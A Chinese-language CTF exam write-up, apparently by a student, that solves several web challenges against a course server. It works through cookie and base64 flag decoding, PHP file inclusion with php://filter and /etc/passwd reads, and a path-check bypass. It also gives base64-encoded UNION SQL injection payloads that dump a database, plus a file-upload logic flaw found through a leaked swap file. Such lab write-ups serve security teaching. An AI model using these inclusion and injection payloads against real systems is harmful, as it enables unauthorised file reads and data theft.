【Web安全技术】CTF期末考核
还是CTF好玩
5
一个这样的页面。在输入flag提交时会显示一串数字ZmxhZ3tXZWxDMG1lX3RvX2N0ZjJ9,用base64解码是flag{WelC0me_to_ctf2}

请求的cookie:
1 | Cookie |
FLAG=ZmxhZ3tjb29raWVzLWNvbnRhaW4taW5mb30%3D解码是flag{cookies-contain-info}
。。。傻掉了,原来这是签到题啊
6
蛮混乱的。总之是路径穿越
有index和another两个页面跳来跳去。不存在flag页面

1 | http://39.102.144.60:30006/page.php?file=php://filter/convert.base64-encode/resource=page.php |

1 | CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+V2VsY29tZSE8L3RpdGxlPgoKICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiIC8+CiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgYm9keSB7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2YwZjBmMjsKICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgcGFkZGluZzogMDsKICAgICAgICBmb250LWZhbWlseTogIk9wZW4gU2FucyIsICJIZWx2ZXRpY2EgTmV1ZSIsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgICAgICAgCiAgICB9CiAgICBkaXYgewogICAgICAgIHdpZHRoOiA2MDBweDsKICAgICAgICBtYXJnaW46IDVlbSBhdXRvOwogICAgICAgIHBhZGRpbmc6IDUwcHg7CiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsKICAgICAgICBib3JkZXItcmFkaXVzOiAxZW07CiAgICB9CiAgICBhOmxpbmssIGE6dmlzaXRlZCB7CiAgICAgICAgY29sb3I6ICMzODQ4OGY7CiAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOwogICAgfQogICAgQG1lZGlhIChtYXgtd2lkdGg6IDcwMHB4KSB7CiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGJhY2tncm91bmQt |
解码:
1 | <!doctype html> |
加路径穿越会被检测捏

/etc/passwd可以捏
1 | http://39.102.144.60:30006/page.php?file=/etc/passwd |

笑死我了
1 | http://39.102.144.60:30006/page.php?file=page.php |

终于想起来用curl就可以看到源代码了!
1 | curl -s "http://39.102.144.60:30006/page.php?file=php://filter/convert.base64-encode/resource=page.php" |
还是只有这些,但是看到了检测逻辑
1 | <body> |
curl another页面给出了文件结构(不早说)

所以就是要绕过检测返回上一级目录,到达flag
检测逻辑:以.开头或者超过两个..
1 | if (strpos($file_path, ".") === 0 || substr_count($file_path, "..") > 2) { |
试了/var/www/flag和index/../../flag等等,都是提示不存,最后还是用了filter
访问
1 | http://39.102.144.60:30006/page.php?file=php://filter/resource=../flag |

好奇怪(
可能有权限限制,卡密说/proc/self/cwd/../flag可以
7
SQL注入。

只发现了有个隐藏的翻译框(?

可以加查询语句,感觉像sql注入()

http://39.102.144.60:30007/?id=1返回no result,但是http://39.102.144.60:30007/?id=MQ==可以(经过base64编码)
为什么大佬的url一开始就有id=MQ== 啊
s_id怎么改都是返回张三,改id(加上base64)倒是有其他的记录,应该是有相应的过滤或者检查。总之确定了注入点是id=加上base64编码内容

用永真式判断是数值型注入还是字符型注入
字符型:id=' or '1'='1。这种说明查询语句是包在引号里的。这个返回no result
数值型:id=1 or 1。结果变多了,是数值型

用order by判断列数。原理:
order by是按第 n 列排序,如果库表里根本没有第 n 列,报错;不报错就说明列数 ≥ n
到id=1 order by 3的时候no了,所以一共两列
然后用UNION SELECT,刺探数据库信息。原理大概是,比如说查询是
1 | SELECT id=1 UNION SELECT 1,2,3 |
就会返回两条记录,一条是id=1的记录,一条是1,2,3(这个没有实际意义,随便填的)。有个限制就是用了union,那么两条记录返回的列数需要相同。
所以其实也不需要用order by来判断列数了,因为一开始返回数据就是S_ID: 1 - S_Name: Zhang, San,看得出来是两列。也可以猜测到原查询语句大概是这样(不知道表名所以没有FROM,大括号里是注入的内容)
1 | SELECT S_ID,S_Name WHERE id={1 UNION SELECT 1,database()} |
获取数据库名。id=1 UNION SELECT 1,database(),http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgp
返回的第一行数据对应SELECT S_ID,S_Name WHERE id=1,第二行是SELECT 1,database(),第一列数据是我们指定的1,第二列是数据库名websec

获取表名。group_concat是聚合函数,把所有结果拼成一行。information_schema是系统自带数据库,存着所有库、表、列名。table_schema指定数据库名
1 | 1 UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema='websec' |
http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYT0nd2Vic2VjJw==

获取flag表的列名。
1 | 1 UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='websec' AND table_name='flag' |
http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hPSd3ZWJzZWMnIEFORCB0YWJsZV9uYW1lPSdmbGFnJw==

获取flag的value。
1 | 1 UNION SELECT 1,value FROM websec.flag |
http://39.102.144.60:30007/?id=MSBVTklPTiBTRUxFQ1QgMSx2YWx1ZSBGUk9NIHdlYnNlYy5mbGFn

8
文件上传
传文件的页面
1 | <body> |
对文件类型和大小有限制。试着传了一个小图片上去。跳到了http://39.102.144.60:30008/index.php

没有头绪了。得知了有个.index.php.swp的存在(可以通过dirsearch扫描页面结构)(编辑文件的时候突然断电会产生swp文件)。访问这个url可以下载swp文件,本来应该用vim -r查看但我懒了,用strings(windows不带strings怎么办?用git bash运行)
1 | curl -s http://39.102.144.60:30008/.index.php.swp | strings | sed -n '1,300p' > swp.txt |
主要逻辑大概是这段(因为没用vim吗感觉乱得可以)
1 | <!doctype html> |
服务端通过读 $_FILES["file"]["tmp_name"] 的前两个字节判断文件类型($type_code),对 255216(JPEG)和 13780(PNG)等设置 $flag = 1;否则 $flag = 0(不是合法图片)。
服务器把上传的原始文件名的后缀取出来:
1 | $filetype = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')); |
如果上传的文件是 .php(strtolower($filetype) === ".php"),代码会把目标保存名设为:
1 | $filename = md5($_FILES["file"]["name"]) . $filetype; |
也就是:md5(原始文件名) + ".php"(注意:没有路径前缀,所以文件会写到当前目录,也就是 webroot)。
最关键的逻辑分支:当 $flag === 1 时会 move_uploaded_file(..., $filename)(把你上传的文件写入);当 $flag !== 1(即服务器判断它不是允许的图片)时,会执行copy('../flag', $filename);,把上一级目录的 flag 文件内容复制到 $filename(即 webroot 下的 md5(原始名).php)。
也就是说:上传一个名字以 .php 结尾且文件头表明不是JPEG或PNG的文件(并且通过前端的文件类型检查),服务器会把flag 文件复制成一个md5(你的文件名).php 文件。
所以可以上传一个小图片(通过文件大小等的检查),文件名设置成flag.php,在请求中把文件类型写成png
传一个小图片,用burpsuite截获,保证filename以.php结尾,和Content-Type是那两个图片类型之一


还是stop hacking是为啥呢。后来看了眼别人的php代码,原来是
1 | if ($_FILES){ |
所以得是jpeg才行。把文件类型改一下

返回:

文件名是flag.php,md5加密一下得到存放flag的文件名71C31CCA71459CAFDB161A3F63A6FDC7.php
大写不行得用小写,我服了
1 | curl "http://39.102.144.60:30008/71c31cca71459cafdb161a3f63a6fdc7.php" |
